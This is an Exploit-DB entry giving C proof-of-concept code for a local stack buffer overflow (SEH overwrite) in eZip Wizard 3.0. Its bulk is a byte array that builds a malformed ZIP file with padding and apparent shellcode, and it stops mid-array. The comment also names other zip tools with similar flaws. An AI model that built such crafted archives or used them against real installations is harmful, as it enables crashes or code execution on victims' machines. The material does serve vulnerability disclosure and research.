Exploit-DB #8180
Description: eZip Wizard 3.0 - Local Stack Buffer Overflow (PoC) (SEH)
Type: dos
Platform: windows
Date: 2009-03-09
Author: fl0 fl0w

Exploit:
/*ezip wizard Local Stack Buffer Overflow (SEH) POC
SEH chain of main thread
Address    SE handler
0012FC60   58585858
0012FC60   41414141  AAAA  Pointer to next SEH record

Old bug ,still not fixed by vendors ,this kind of file can cause problems to a lot of soft of this kind.
Ex: ZipGenius stack buffer overflow (SEH overwrite)
    zip it fast format string buffer overflow
    Power zip 7.2 stack buffer overflow 
      and so on..
*/
#include <stdio.h>
#include <assert.h>
#include <string.h>



char file[] =
{
    0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB7, 0xAC, 0xCE, 0x34, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0x08, 0x00, 0x00, 0x32, 0x32, 
    0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 0x32, 
    0x66, 0x66, 0x64, 0x73, 0x75, 0x69, 0x62, 0x7A, 0x65, 0x6F, 0x69, 0x76, 0x7A, 0x20, 0x66, 0x68, 
    0x65, 0x6F, 0x20, 0x79, 0x66, 0x6F, 0x7A, 0x69, 0x61, 0x71, 0x20, 0x6F, 0x69, 0x65, 0x61, 0x7A, 
    0x75, 0x20, 0x7A, 0x71, 0x6F, 0x66, 0x68, 0x75, 0x65, 0x7A, 0x71, 0x6F, 0x69, 0x65, 0x6E, 0x66, 
    0x65, 0x7A, 0x6A, 0x75, 0x71, 0x63, 0x62, 0x75, 0x71, 0x70, 0x7A, 0x61, 0x7A, 0x69, 0x27, 0x74, 
    0x75, 0x72, 0x65, 0x6F, 0x7A, 0x6E, 0x62, 0x69, 0x6A, 0x75, 0x76, 0x62, 0x67, 0x73, 0x64, 0x75, 
    0x69, 0x71, 0x79, 0x72, 0x7A, 0x61, 0x6A, 0x20, 0x62, 0x63, 0x73, 0x64, 0x6F, 0x70, 0x69, 0x75, 
    0x72, 0x79, 0x7A, 0x6F, 0x65, 0x61, 0x71, 0x6E, 0x62, 0x69, 0x6F, 0x64, 0x73, 0x79, 0x72, 0x66, 
    0x65, 0x7A, 0x71, 0x6F, 0x69, 0x70, 0x62, 0x75, 0x66, 0x63, 0x73, 0x71, 0x69, 0x75, 0x79, 0x72, 
    0x61, 0x7A, 0x62, 0x69, 0x6A, 0x65, 0x66, 0x62, 0x68, 0x73, 0x75, 0x69, 0x71, 0x76, 0x64, 0x73, 
    0x71, 0x69, 0x6A, 0x62, 0x66, 0x65, 0x7A, 0x71, 0x75, 0x61, 0x66, 0x64, 0x64, 0x64, 0x64, 0x64, 
    0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x64, 0x68, 0x68, 
    0x68, 0x68, 0x68, 0x68, 0x68, 0x68, 0x68, 0x68, 0x68, 0x68, 0x68, 0x68, 0x68, 0x75, 0x75, 0x75, 
    0x75, 0x75, 0x75, 0x75, 0x75, 0x75, 0x75, 0x75, 0x68, 0x76, 0x71, 0x24, 0x69, 0x66, 0x72, 0x7A, 
    0x65, 0x6F, 0x62, 0x76, 0x69, 0x6F, 0x7A, 0x65, 0x71, 0x66, 0x74, 0x72, 0x65, 0x6F, 0x7A, 0x71, 
    0x6A, 0x6E, 0x62, 0x76, 0x64, 0x73, 0x70, 0x69, 0x79, 0x75, 0x66, 0x71, 0x6F, 0x65, 0x69, 0x68, 
    0x66, 0x72, 0x6F, 0x75, 0x65, 0x7A, 0x68, 0x61, 0x72, 0x62, 0x20, 0x69, 0x76, 0x66, 0x64, 0x73, 
    0x70, 0x6F, 0x68, 0x6A, 0x72, 0x65, 0x71, 0x6F, 0x75, 0x68, 0x66, 0x7A, 0x65, 0x61, 0x71, 0x75, 
    0x68, 0x76, 0x71, 0x6F, 0x75, 0x68, 0x65, 0x66, 0x6F, 0x71, 0x73, 0x69, 0x6A, 0x68, 0x64, 0x6F, 
    0x73, 0x71, 0x68, 0x76, 0x64, 0x6F, 0x69, 0x68, 0x7A, 0x61, 0x71, 0x6F, 0x65, 0x69, 0x68, 0x66, 
    0x64, 0x73, 0x6F, 0x69, 0x75, 0x68, 0x76, 0x63, 0x78, 0x77, 0x69, 0x75, 0x68, 0x66, 0x71, 0x6F, 
    0x75, 0x69, 0x68, 0x76, 0x77, 0x78, 0x6F, 0x69, 0x68, 0x66, 0x64, 0x73, 0x71, 0x6F, 0x69, 0x68, 
    0x76, 0x64, 0x73, 0x71, 0x6F, 0x69, 0x75, 0x68, 0x7A, 0x67, 0x66, 0x6F, 0x69, 0x68, 0x73, 0x64, 
    0x71, 0x6F, 0x69, 0x75, 0x68, 0x67, 0x7A, 0x65, 0x71, 0x6F, 0x69, 0x68, 0x67, 0x73, 0x71, 0x6F, 
    0x69, 0x68, 0x67, 0x7A, 0x61, 0x65, 0x7A, 0x72, 0x75, 0x79, 0x61, 0x75, 0x79, 0x74, 0x61, 0x65, 
    0x70, 0x69, 0x75, 0x79, 0x55, 0x59, 0x54, 0x4F, 0x5A, 0x52, 0x45, 0x50, 0x49, 0x48, 0x47, 0x41, 
    0x5A, 0x55, 0x59, 0x56, 0x44, 0x53, 0x4F, 0x49, 0x59, 0x54, 0x41, 0x50, 0x4F, 0x49, 0x55, 0x45, 
    0x59, 0x52, 0x49, 0x55, 0x45, 0x5A, 0x59, 0x47, 0x42, 0x4B, 0x4A, 0x43, 0x58, 0x4E, 0x4B, 0x56, 
    0x4E, 0x4B, 0x43, 0x58, 0x42, 0x57, 0x56, 0x4B, 0x4A, 0x4E, 0x42, 0x43, 0x58, 0x48, 0x42, 0x4B, 
    0x4A, 0x44, 0x48, 0x46, 0x4F, 0x49, 0x48, 0x5A, 0x45, 0x52, 0x4F, 0x49, 0x55, 0x48, 0x45, 0x5A, 
    0x55, 0x49, 0x4F, 0x41, 0x42, 0x45, 0x5A, 0x55, 0x49, 0x42, 0x47, 0x55, 0x49, 0x56, 0x43, 0x50, 
    0x4C, 0x44, 0x53, 0x47, 0x57, 0x4B, 0x52, 0x54, 0x42, 0x4E, 0x49, 0x55, 0x43, 0x49, 0x55, 0x4F, 
    0x51, 0x45, 0x42, 0x48, 0x52, 0x55, 0x49, 0x59, 0x44, 0x46, 0x51, 0x50, 0x5A, 0x49, 0x55, 0x45, 
    0x52, 0x50, 0x49, 0x55, 0x44, 0x59, 0x46, 0x54, 0x50, 0x41, 0x49, 0x5A, 0x55, 0x45, 0x59, 0x52, 
    0x5A, 0x45, 0x55, 0x48, 0x52, 0x54, 0x49, 0x55, 0x50, 0x56, 0x58, 0x57, 0x4B, 0x4A, 0x43, 0x4E, 
    0x48, 0x42, 0x47, 0x50, 0x46, 0x4F, 0x49, 0x55, 0x50, 0x41, 0x49, 0x52, 0x59, 0x45, 0x5A, 0x4F, 
    0x41, 0x49, 0x54, 0x59, 0x38, 0x37, 0x33, 0x32, 0x39, 0x35, 0x36, 0x35, 0x39, 0x34, 0x38, 0x33, 
    0x32, 0x36, 0x35, 0x46, 0x53, 0x34, 0x38, 0x59, 0x46, 0x44, 0x53, 0x39, 0x38, 0x59, 0x55, 0x56, 
    0x47, 0x30, 0x39, 0x38, 0x51, 0x59, 0x55, 0x52, 0x30, 0x39, 0x38, 0x34, 0x59, 0x35, 0x32, 0x33, 
    0x39, 0x38, 0x41, 0x59, 0x39, 0x46, 0x38, 0x45, 0x51, 0x59, 0x5A, 0x35, 0x39, 0x38, 0x59, 0x36, 
    0x39, 0x38, 0x46, 0x47, 0x59, 0x39, 0x38, 0x51, 0x59, 0x39, 0x47, 0x46, 0x44, 0x53, 0x55, 0x59, 
    0x30, 0x39, 0x48, 0x34, 0x5A, 0x48, 0x33, 0x37, 0x38, 0x35, 0x32, 0x33, 0x31, 0x42, 0x34, 0x47, 
    0x38, 0x30, 0x47, 0x46, 0x44, 0x53, 0x55, 0x49, 0x42, 0x56, 0x51, 0x49, 0x55, 0x4F, 0x59, 0x50, 
    0x52, 0x39, 0x5A, 0x48, 0x46, 0x44, 0x53, 0x51, 0x55, 0x49, 0x47, 0x46, 0x47, 0x44, 0x55, 0x53, 
    0x53, 0x53, 0x53, 0x53, 0x45, 0x47, 0x46, 0x39, 0x32, 0x47, 0x35, 0x33, 0x34, 0x55, 0x47, 0x46, 
    0x39, 0x49, 0x53, 0x50, 0x47, 0x42, 0x55, 0x54, 0x50, 0x5A, 0x39, 0x38, 0x59, 0x35, 0x33, 0x41, 
    0x41, 0x42, 0x43, 0x43, 0x46, 0x52, 0x45, 0x43, 0x43, 0x45, 0x54, 0x52, 0x45, 0x5A, 0x47, 0x52, 
    0x46, 0x44, 0x53, 0x49, 0x4F, 0x5A, 0x48, 0x45, 0x52, 0x42, 0x4E, 0x4F, 0x56, 0x46, 0x44, 0x53, 
    0x4F, 0x49, 0x52, 0x48, 0x54, 0x4F, 0x5A, 0x49, 0x4E, 0x46, 0x47, 0x44, 0x4B, 0x4E, 0x46, 0x43, 
    0x58, 0x4C, 0x4B, 0x59, 0x89, 0x05, 0x8A, 0x9B, 0x98, 0x98, 0x98, 0x4F, 0x49, 0x49, 0x49, 0x49, 
    0x49, 0x49, 0x51, 0x5A, 0x56, 0x54, 0x58, 0x36, 0x33, 0x30, 0x56, 0x58, 0x34, 0x41, 0x30, 0x42, 
    0x36, 0x48, 0x48, 0x30, 0x42, 0x33, 0x30, 0x42, 0x43,